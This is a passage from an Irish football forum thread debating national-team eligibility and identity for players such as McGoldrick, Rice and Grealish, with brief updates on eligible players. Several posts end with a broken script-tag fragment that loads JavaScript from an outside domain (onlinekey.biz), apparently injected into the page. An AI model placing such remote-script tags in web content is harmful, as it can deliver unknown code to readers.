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Originally posted by The O'Shea The O'Shea wrote:

McGoldrick has said that he always regarded himself as Irish (grew up in a strongly Irish adoptive family), but only realised he was actually eligible when he tracked down his biological mother. He would have been eligible anyway through his adoptive parents, but evidently he (like many people tbf) was unaware of that fact.
Fair enough, I wasn't aware of that. I wasn't trying to pick him out to have a go at him, certainly not after his performance last night, more as an example of a lad who I (wrongly) thought had little link to us and tried his bollocks off.
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He felt Irish because he had an adoptive grandparent from there? Even if he actually did say that , which I highly doubt, it sounds completely unlikely. If these guys hadn't been pro footballers they wouldn't have given being Irish a moment's thought. All Mcgoldrick has indicated is that he  aware of a family link in his adoptive family, nothing beyond that other than journalist filling in words on his behalf perhaps, as happened a lot in the Declan Rice and Jack Grealish sagas.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
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Originally posted by Conan Conan wrote:

He felt Irish because he had an adoptive grandparent from there? Even if he actually did say that , which I highly doubt, it sounds completely unlikely. If these guys hadn't been pro footballers they wouldn't have given being Irish a moment's thought. All Mcgoldrick has indicated is that he  aware of a family link in his adoptive family, nothing beyond that other than journalist filling in words on his behalf perhaps, as happened a lot in the Declan Rice and Jack Grealish sagas.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
His adoptive parents in Nottingham are Irish, as a result he felt Irish but didn't think he was eligible. When he tracked down his biological parents, he realised his biological grandmother was Irish and he was eligible. I didn't realise this until O'Shea pointed it out and I had a look.

Also, if it was just an adopted grandmother (although that wouldn't, I don't think, have made him eligible) she would have been his granny and then it would have been how influential she was on his life. Plenty of kids are very close to their grandparents.

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I've a Scottish born grandmother I've always felt close enough to but it would be some jump of logic to try and transplant her birth place as my national identity, I don't think that in any way reflects human reality. In any case Mcgoldrick has never as far as I can see tried to make out that he always regarded himself as Irish, that's just wishful thinking on O'Shea's part, unless it was in a secret private conversation between the two of them?< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
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Originally posted by Conan Conan wrote:

I've a Scottish born grandmother I've always felt close enough to but it would be some jump of logic to try and transplant her birth place as my national identity, I don't think that in any way reflects human reality. In any case Mcgoldrick has never as far as I can see tried to make out that he always regarded himself as Irish, that's just wishful thinking on O'Shea's part, unless it was in a secret private conversation between the two of them?< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">

Ah, go on !

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Originally posted by Conan Conan wrote:

I've a Scottish born grandmother I've always felt close enough to but it would be some jump of logic to try and transplant her birth place as my national identity, I don't think that in any way reflects human reality. In any case Mcgoldrick has never as far as I can see tried to make out that he always regarded himself as Irish, that's just wishful thinking on O'Shea's part, unless it was in a secret private conversation between the two of them?< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
It doesn't, it  reflects your human reality, so, as a result, you view everyone else through that prism. National identity(identities) are incredibly personal, your view of what Ireland is and what it should be will be different to mine. One lad with a Scottish grandmother will feel no connection to that country, another lad will be wandering about in a kilt with his balls hanging out. 

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Lol - love the imagery here.


McClean’s heart is in the right place, but his head is not. Love the guys passion, but dual nationality is complex, and dependent on many things that would be very difficult to quantify. (I say that as a dual national)....


In my humble and likely unqualified opinion I can appreciate that there is a point where a player needs to make a decision, and a point where the organization (FAI) needs to stop pandering to a player with ability.... and both groups are free to walk that line to their own benefit until that point...

For me- that point is the Sr shirt call up. 

There no point in trying to assess anyone’s legitimacy to the Irish shirt until they turn down a call up.

If a player turns up for the 21’s (or any underage) for years, then suddenly wants to “concentrate on their club career” once called up  to the Sr. team,  then I’m immediately suspicious. For me, assume that guy is gone... good luck to them. 

If a player that is later in their career (say post age 21) and identify that  they qualify, and then take the necessary steps to declare, turn up with bells and whistles,  then welcome aboard. 

Rice and Grealish were keeping their options Open all along. “Concentrating on their club”... that was the line... 

Finally, there is some responsibility to the teams to create a sense of inclusion/comradery so that when players that are “on the fence” are involved- they want to stay involved. . 


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Max O'Leary getting time in nets for play-off placed Bristol City.  
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Originally posted by Luis Amor Rodriguez Luis Amor Rodriguez wrote:

Max O'Leary getting time in nets for play-off placed Bristol City.  
I always feel he looks better in lace.
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bamford has 2 tonight for leeds
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Originally posted by amccarten313 amccarten313 wrote:

bamford has 2 tonight for leeds

Excellent first strike and a very good header for the second.
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Young Irish lad, born and bred in Lucan, Jamie Egan off Cabinteely in the Wales u17 squad. I coached him, his father played for me.

WTF ?
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Good Aul Man Seany Egan :) and another  AULD Orchard lad Davy Collins son Nathan made debut at 18 for Stoke tonight
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Kyle Taylor of Bournemouth is eligible according to a foot.ie poster. He seems fairly highly rated.
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Originally posted by Gary McKay Gary McKay wrote:

Young Irish lad, born and bred in Lucan, Jamie Egan off Cabinteely in the Wales u17 squad. I coached him, his father played for me.

WTF ?
saw that. Think it’s a development squad but a strange one
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Originally posted by Gary McKay Gary McKay wrote:

Young Irish lad, born and bred in Lucan, Jamie Egan off Cabinteely in the Wales u17 squad. I coached him, his father played for me.

WTF ?

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so Harry Kane is hurt again and Paddy Bamford will now believe he has a decent chance of getting on Southgates rader 

Bamford is as good as gone i reckon
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Originally posted by Healy52003 Healy52003 wrote:

so Harry Kane is hurt again and Paddy Bamford will now believe he has a decent chance of getting on Southgates rader 

Bamford is as good as gone i reckon

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